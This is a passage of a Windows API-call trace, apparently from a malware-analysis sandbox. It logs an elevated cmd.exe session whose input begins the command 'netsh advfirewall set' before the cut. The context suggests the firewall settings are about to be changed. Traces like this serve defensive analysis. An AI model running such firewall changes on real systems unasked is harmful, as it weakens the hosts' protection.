LCType=0x31, lpLCData=0x7ff65307bb00, cchData=32 | out: lpLCData="Mon") returned 4 [0040.384] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff65307bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0040.384] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff65307ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0040.384] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff65307ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0040.384] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff65307ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0040.384] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff65307b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0040.384] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff65307b980, cchData=32 | out: lpLCData="Sun") returned 4 [0040.384] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff65307bb58, cchData=8 | out: lpLCData=".") returned 2 [0040.384] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff65307bb40, cchData=8 | out: lpLCData=",") returned 2 [0040.384] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0040.385] GetProcessHeap () returned 0x19577e40000 [0040.385] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x0, Size=0x20c) returned 0x19577e46560 [0040.385] GetConsoleTitleW (in: lpConsoleTitle=0x19577e46560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0040.388] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0040.388] GetFileType (hFile=0x2b0) returned 0x3 [0040.398] ApiSetQueryApiSetPresence () returned 0x0 [0040.398] ResolveDelayLoadedAPI () returned 0x7ff91379d990 [0040.494] BrandingFormatString () returned 0x19577e41850 [0040.499] GetVersion () returned 0x3ad7000a [0040.500] _vsnwprintf (in: _Buffer=0x6c08ffb70, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0x6c08ffb08 | out: _Buffer="10.0.15063") returned 10 [0040.500] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0040.500] GetFileType (hFile=0x2b0) returned 0x3 [0040.500] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff653087f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0040.500] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff653087f60, nSize=0x2000, Arguments=0x6c08ffb10 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0040.500] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0040.500] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff653079970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0040.500] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff653079970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x6c08ffa68, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesWritten=0x6c08ffa68*=0x26, lpOverlapped=0x0) returned 1 [0040.500] _vsnwprintf (in: _Buffer=0x7ff653087f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x6c08ffb38 | out: _Buffer="\r\n") returned 2 [0040.500] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0040.500] GetFileType (hFile=0x2b0) returned 0x3 [0040.500] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0040.500] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff653079970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0040.500] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff653079970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6c08ffb08, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesWritten=0x6c08ffb08*=0x2, lpOverlapped=0x0) returned 1 [0040.500] _vsnwprintf (in: _Buffer=0x7ff653087f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0x6c08ffb38 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0040.500] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0040.501] GetFileType (hFile=0x2b0) returned 0x3 [0040.501] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0040.501] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff653079970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0040.501] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff653079970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0x6c08ffb08, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesWritten=0x6c08ffb08*=0x34, lpOverlapped=0x0) returned 1 [0040.501] _vsnwprintf (in: _Buffer=0x7ff653087f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x6c08ffb38 | out: _Buffer="\r\n") returned 2 [0040.501] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0040.501] GetFileType (hFile=0x2b0) returned 0x3 [0040.501] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0040.501] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff653079970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0040.501] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff653079970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6c08ffb08, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesWritten=0x6c08ffb08*=0x2, lpOverlapped=0x0) returned 1 [0040.501] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000 [0040.501] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830 [0040.501] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300 [0040.501] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40 [0040.501] ??_V@YAXPEAX@Z () returned 0x1 [0040.501] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.501] GetFileType (hFile=0x2a4) returned 0x3 [0040.501] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0040.502] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0x6c08ff978 | out: TokenHandle=0x6c08ff978*=0x0) returned 0xc000007c [0040.502] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0x6c08ff978 | out: TokenHandle=0x6c08ff978*=0x94) returned 0x0 [0040.502] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0x6c08ff928, TokenInformationLength=0x4, ReturnLength=0x6c08ff930 | out: TokenInformation=0x6c08ff928, ReturnLength=0x6c08ff930) returned 0x0 [0040.502] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0x6c08ff930, TokenInformationLength=0x4, ReturnLength=0x6c08ff928 | out: TokenInformation=0x6c08ff930, ReturnLength=0x6c08ff928) returned 0x0 [0040.502] NtClose (Handle=0x94) returned 0x0 [0040.502] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0x6c08ff940, nSize=0x0, Arguments=0x6c08ff948 | out: lpBuffer="\x8320\x77e4\x195") returned 0xf [0040.502] GetProcessHeap () returned 0x19577e40000 [0040.502] RtlAllocateHeap (HeapHandle=0x19577e40000, Flags=0x8, Size=0x218) returned 0x19577e46c30 [0040.509] GetConsoleTitleW (in: lpConsoleTitle=0x6c08ff990, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0040.540] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0 [0040.540] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1 [0040.543] GetProcessHeap () returned 0x19577e40000 [0040.543] RtlFreeHeap (HeapHandle=0x19577e40000, Flags=0x0, BaseAddress=0x19577e46c30) returned 1 [0040.543] LocalFree (hMem=0x19577e48320) returned 0x0 [0040.544] _vsnwprintf (in: _Buffer=0x7ff653087f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x6c08ff7b8 | out: _Buffer="\r\n") returned 2 [0040.544] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0040.544] GetFileType (hFile=0x2b0) returned 0x3 [0040.544] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0040.544] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff653079970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0040.544] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff653079970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x6c08ff788, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesWritten=0x6c08ff788*=0x2, lpOverlapped=0x0) returned 1 [0040.544] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff65307bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0040.545] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x19577f40080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17 [0040.545] malloc (_Size=0x107ce) returned 0x19577f50060 [0040.545] _vsnwprintf (in: _Buffer=0x19577f50060, _BufferCount=0x83e5, _Format="%s", _ArgList=0x6c08ff7c8 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23 [0040.545] _vsnwprintf (in: _Buffer=0x19577f5008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0x6c08ff7c8 | out: _Buffer=">") returned 1 [0040.545] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0040.545] GetFileType (hFile=0x2b0) returned 0x3 [0040.545] _get_osfhandle (_FileHandle=1) returned 0x2b0 [0040.545] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff653079970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25 [0040.545] WriteFile (in: hFile=0x2b0, lpBuffer=0x7ff653079970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x6c08ff7b8, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesWritten=0x6c08ff7b8*=0x18, lpOverlapped=0x0) returned 1 [0040.545] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.545] GetFileType (hFile=0x2a4) returned 0x3 [0040.545] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.545] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.545] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.545] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c30, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0040.546] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.546] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.546] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.546] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c32, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0040.546] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.546] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.546] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.546] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c34, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0040.546] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.546] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.546] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.546] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c36, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0040.546] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.546] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.546] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.546] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c38, cchWideChar=1 | out: lpWideCharStr="h") returned 1 [0040.546] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.546] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.546] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.546] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c3a, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0040.546] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.546] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.546] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.546] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c3c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0040.546] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.546] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.546] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.546] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c3e, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0040.547] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.547] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.547] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c40, cchWideChar=1 | out: lpWideCharStr="v") returned 1 [0040.547] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.547] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.547] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c42, cchWideChar=1 | out: lpWideCharStr="f") returned 1 [0040.547] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.547] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.547] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c44, cchWideChar=1 | out: lpWideCharStr="i") returned 1 [0040.547] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.547] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.547] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c46, cchWideChar=1 | out: lpWideCharStr="r") returned 1 [0040.547] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.547] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.547] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c48, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0040.547] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.547] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.547] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c4a, cchWideChar=1 | out: lpWideCharStr="w") returned 1 [0040.547] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.547] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.547] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.547] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c4c, cchWideChar=1 | out: lpWideCharStr="a") returned 1 [0040.547] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.548] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.548] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.548] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c4e, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0040.548] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.548] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.548] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.548] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c50, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0040.548] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.548] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.548] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.548] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c52, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0040.548] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.548] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.548] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.548] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c54, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0040.548] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.548] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.548] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.548] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c56, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0040.548] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.548] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.548] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.548] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff653079970, cbMultiByte=1, lpWideCharStr=0x7ff653083c58, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0040.548] _get_osfhandle (_FileHandle=0) returned 0x2a4 [0040.548] SetFilePointer (in: hFile=0x2a4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0040.548] ReadFile (in: hFile=0x2a4, lpBuffer=0x7ff653079970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x6c08ffb18, lpOverlapped=0x0 | out: lpBuffer=0x7ff653079970*, lpNumberOfBytesRead=0x6c08ffb18*=0x1, lpOverlapped=0x0) returned 1 [0040.548] MultiByteToWideChar (in: CodePage=0x1b5, 